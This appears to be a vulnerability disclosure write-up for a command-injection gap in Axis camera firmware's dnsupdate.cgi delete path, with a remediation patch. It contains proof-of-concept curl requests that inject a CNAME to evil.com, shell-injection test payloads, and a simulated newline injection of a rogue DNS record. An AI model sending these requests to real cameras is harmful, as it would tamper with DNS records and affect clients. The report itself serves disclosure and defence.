VRT Category: Insecure OS/Firmware > Command Injection
URL/Location: https://<camera>/axis-cgi/dnsupdate.cgi?delete=<payload>
Firmware: AXIS OS P3245-LV version 11.11.192 (LTS 2024 track)
Files: /usr/html/axis-cgi/dnsupdate.cgi, /usr/sbin/dnsupdate.script
Description
The dnsupdate.cgi CGI endpoint delegates DNS record operations to
/usr/sbin/dnsupdate.script. The add path validates all input through
a strict dnsupdate_validate function that rejects shell metacharacters,
spaces, and non-alphanumeric characters. The delete path skips this
validation entirely, passing raw user input to dnsupdate_delete which
interpolates it unquoted into an nsupdate protocol heredoc.
This is a confirmed inconsistent validation gap: the defensive function exists and is applied on the add path but omitted on the delete path. Unvalidated input reaches the nsupdate command interpreter, where injected spaces alter DNS record types and targets.
Authentication required: Admin.
Proof of Concept
Step 0: Firmware extraction
binwalk --run-as=root -e P3245-LV_11_11_192.bin
unsquashfs -d rootfs_extracted rootfs/rootfs.img
Step 1: dnsupdate.cgi source – tracing the delete path
Full source of /usr/html/axis-cgi/dnsupdate.cgi:
#!/bin/sh -e
. /usr/html/axis-cgi/lib/functions.sh
if [ ! "$QUERY_STRING" ]
then
__cgi_errhd 400 "No command issued"
exit 1
fi
hdgen=$(__qs_getparam hdgen)
while [ "$QUERY_STRING" ]; do
cmd=${QUERY_STRING%%=*}
QUERY_STRING=${QUERY_STRING#"$cmd"=}
val=${QUERY_STRING%%&*} # <-- raw value, NOT URL-decoded
QUERY_STRING=${QUERY_STRING#"$val"}
QUERY_STRING=${QUERY_STRING#&}
[ "$cmd" -a "$val" ] || break
case "$cmd" in
add)
# ... calls dnsupdate.script add "$val" all
;;
delete)
# ... calls dnsupdate.script delete "$val" # <-- no validation
;;
esac
done
Step 2: dnsupdate.script – the validation gap
ADD handler (lines 273-281) – VALIDATED:
add)
if [ $# -eq 4 ]; then
shift 1
dnsupdate_validate "$@" || exit 1 # <-- VALIDATES
dnsupdate_add "$@" || exit 1
else
dnsupdate_validate "$2" "$DNSUPDATE_TTL" "$3" || exit 1 # <-- VALIDATES
dnsupdate_add "$2" "$DNSUPDATE_TTL" "$3" || exit 1
fi
;;
DELETE handler (lines 282-290) – NO VALIDATION:
delete)
if [ $# -lt 2 ] || [ $# -gt 3 ]; then
echo "Usage: $0 delete NAME [IP]" >&2
exit 1
fi
shift 1
dnsupdate_delete "$@" || exit 1 # <-- NO dnsupdate_validate CALL
;;
Step 3: The validation function that delete skips
dnsupdate_validate() {
[ $# -eq 3 ] && [ "$1" ] && [ "$3" ] || {
echo "Invalid arguments" >&2
return 1
}
if [ ${#1} -gt 253 ]; then
echo "Invalid DNS name length" >&2
return 1
fi
case $1 in
[.-]*)
echo "DNS name has an invalid first character" >&2
return 1
;;
*[!.[:alnum:]-]*) # <-- BLOCKS all non-alphanumeric except . and -
echo "Invalid DNS name characters" >&2
return 1
;;
esac
# ... additional TTL and IP validation
}
Step 4: The vulnerable sink – unquoted heredoc interpolation
dnsupdate_delete (line 116) interpolates $1 unquoted in a heredoc:
dnsupdate_delete() {
local _tmp _ret
[ "$1" ] || return 1
_tmp=$(mktemp /tmp/dnsup.XXXXXX)
cat <<-EOF >> $_tmp
${DNSUPDATE_NOSERVER}server $DNSUPDATE_SERVER ${DNSUPDATE_PORT:-53}
${DNSUPDATE_NOZONE}zone $DNSUPDATE_ZONE
update delete $1 0 IN A # <-- UNQUOTED $1
update delete $1 0 IN AAAA # <-- UNQUOTED $1
send
EOF
$_dnsupdate -l -r < $_tmp # pipes to nsupdate binary
}
Step 5: PROVEN – dnsupdate_validate executed from firmware
The dnsupdate_validate function was extracted and tested against injection
payloads, proving the add path blocks them while the delete path does not:
--- TESTS: What dnsupdate_validate blocks (add path) ---
"test.example.com" ALLOWED (add path would accept)
"test;id" BLOCKED: Invalid DNS name characters
"test$(id)" BLOCKED: Invalid DNS name characters
"test|id" BLOCKED: Invalid DNS name characters
"test 0 IN A" BLOCKED: Invalid DNS name characters
"test%0aid" BLOCKED: Invalid DNS name characters
"test`id`" BLOCKED: Invalid DNS name characters
"test&echo" BLOCKED: Invalid DNS name characters
"test"quote" BLOCKED: Invalid DNS name characters
--- DELETE PATH: No validation at all ---
All of the above payloads pass through to nsupdate unvalidated
because dnsupdate_delete is called WITHOUT dnsupdate_validate
Step 6: PROVEN – heredoc injection simulated from firmware code
The dnsupdate_delete heredoc was replicated with injected input:
Normal input:
update delete test.example.com 0 IN A
update delete test.example.com 0 IN AAAA
send
With newline in $1 (test.example.com\nupdate add evil.com 300 IN A 1.2.3.4):
update delete test.example.com
update add evil.com 300 IN A 1.2.3.4 0 IN A <-- INJECTED RECORD
update delete test.example.com
update add evil.com 300 IN A 1.2.3.4 0 IN AAAA <-- INJECTED RECORD
send
The injected update add is a valid nsupdate command that creates a DNS
record on the camera’s configured DNS server.
Note: Delivering a literal newline through the HTTP query string to reach this sink requires further verification on live hardware. The validation gap and unquoted heredoc interpolation are confirmed from firmware source and simulation.
Step 7: Exploitation on live camera
# Baseline: normal delete
curl -s --digest -u '<admin_user>:<admin_pass>' \
"https://CAMERA_IP/axis-cgi/dnsupdate.cgi?delete=test.example.com"
# Space injection (confirmed deliverable via URL encoding):
curl -s --digest -u '<admin_user>:<admin_pass>' \
"https://CAMERA_IP/axis-cgi/dnsupdate.cgi?delete=test%200%20IN%20CNAME%20evil.com"
# Prove the asymmetry -- add path blocks the same payload:
curl -s --digest -u '<admin_user>:<admin_pass>' \
"https://CAMERA_IP/axis-cgi/dnsupdate.cgi?add=test%200%20evil&all"
# Expected: Rejected by dnsupdate_validate
Impact
- Inconsistent input validation: The
dnsupdate_validatefunction was built to prevent this exact class of injection but is applied only on the add path, not the delete path - nsupdate command manipulation: Unvalidated spaces alter DNS record types and targets in the generated nsupdate command file
- Potential DNS record injection: If newlines can be delivered, arbitrary DNS records can be created on the camera’s configured DNS server, affecting all clients relying on that server
CVSS
Score: 4.7 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L
- Privileges Required High: admin auth needed for dnsupdate.cgi
- Integrity Low: DNS command structure manipulation confirmed; full record injection pending live newline delivery verification
Remediation
Immediate fix (one line):
delete)
if [ $# -lt 2 ] || [ $# -gt 3 ]; then
echo "Usage: $0 delete NAME [IP]" >&2
exit 1
fi
shift 1
+ dnsupdate_validate "$1" "" "all" || exit 1
dnsupdate_delete "$@" || exit 1
;;
Defense in depth:
1. Quote $1 in the heredoc: update delete "$1" 0 IN A
2. URL-decode input in dnsupdate.cgi before passing to the script
Source · github.com/zionsworking/security-research-notebook · writeups/axis-os/dnsupdate-delete-validation-gap.md